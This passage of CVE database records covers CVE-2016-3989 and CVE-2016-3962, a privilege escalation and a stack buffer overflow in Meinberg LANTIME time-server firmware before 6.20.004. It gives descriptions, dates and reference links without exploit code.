"value": "The NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allows remote authenticated users to obtain root privileges for writing to unspecified scripts, and consequently obtain sensitive information or modify data, by leveraging access to the nobody account."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "40120",
"refsource": "EXPLOIT-DB",
"url": "https://www.exploit-db.com/exploits/40120/"
},
{
"name": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03",
"refsource": "MISC",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2016-3989",
"datePublished": "2016-07-03T14:00:00.000Z",
"dateReserved": "2016-04-08T00:00:00.000Z",
"dateUpdated": "2024-08-06T00:10:32.023Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2016-3962 (GCVE-0-2016-3962)
Vulnerability from cvelistv5 – Published: 2016-07-03 14:00 – Updated: 2024-08-06 00:10
VLAI
EPSS
VEX
Summary
Stack-based buffer overflow in the NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allows remote attackers to obtain sensitive information, modify data, or cause a denial of service via a crafted parameter in a POST request.
Severity
No CVSS data available.
CWE
- n/a
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/40120/ | exploitx_refsource_EXPLOIT-DB |
| https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03 | x_refsource_MISC |
Date Public
2016-06-23 00:00
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-06T00:10:31.911Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "40120",
"tags": [
"exploit",
"x_refsource_EXPLOIT-DB",
"x_transferred"
],
"url": "https://www.exploit-db.com/exploits/40120/"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2016-06-23T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "Stack-based buffer overflow in the NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allows remote attackers to obtain sensitive information, modify data, or cause a denial of service via a crafted parameter in a POST request."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2017-09-02T09:57:01.000Z",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"name": "40120",
"tags": [
"exploit",
"x_refsource_EXPLOIT-DB"
],
"url": "https://www.exploit-db.com/exploits/40120/"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2016-3962",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "Stack-based buffer overflow in the NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allows remote attackers to obtain sensitive information, modify data, or cause a denial of service via a crafted parameter in a POST request."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "40120",
"refsource": "EXPLOIT-DB",
"url": "https://www.exploit-db.com/exploits/40120/"
},
{
"name": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03",
"refsource": "MISC",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-175-03"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2016-3962",
"datePublished": "2016-07-03T14:00:00.000Z",
"dateReserved": "2016-04-06T00:00:00.000Z",
"dateUpdated": "2024-08-06T00:10:31.911Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}